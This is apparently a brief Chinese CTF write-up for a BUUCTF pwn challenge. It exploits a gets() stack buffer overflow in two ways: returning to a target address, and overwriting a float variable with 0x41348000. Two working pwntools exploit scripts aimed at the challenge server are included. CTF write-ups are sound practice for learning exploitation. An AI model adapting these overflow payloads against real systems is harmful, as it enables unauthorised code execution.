前戏--------checksec,运行查看
进入就可以发现这段代码
很浅显易懂
我们要得到的后面是
这里
我们要利用的漏洞是
get函数
0x30大小
加上8
exp:
from pwn import *
ghust = remote("node5.buuoj.cn",28777)
addr = 0x4006BE
payload = b'A' * 0x30 +b'B'*0x8+ p64(addr)
ghust.sendline(payload)
ghust.interactive()
这段代码,我的ubutu22用不了
还是下了18才行,不知道为什么
方法二:
这道题其实我们让V2满足条件也行
11.28125
必须要是在内存中的表示
回到汇编
找到jnz判断
看见上面的cs了吗?
双击就行
记一下这个413800,因为这里是对比dword,已经取了一次地址了,我们就拿他的赋值
from pwn import *
ghust = remote("node5.buuoj.cn",28771)
addr = 0x41348000
payload = b'A' * (0x30-0x4) + p64(addr)
ghust.sendline(payload)
ghust.interactive()
下班!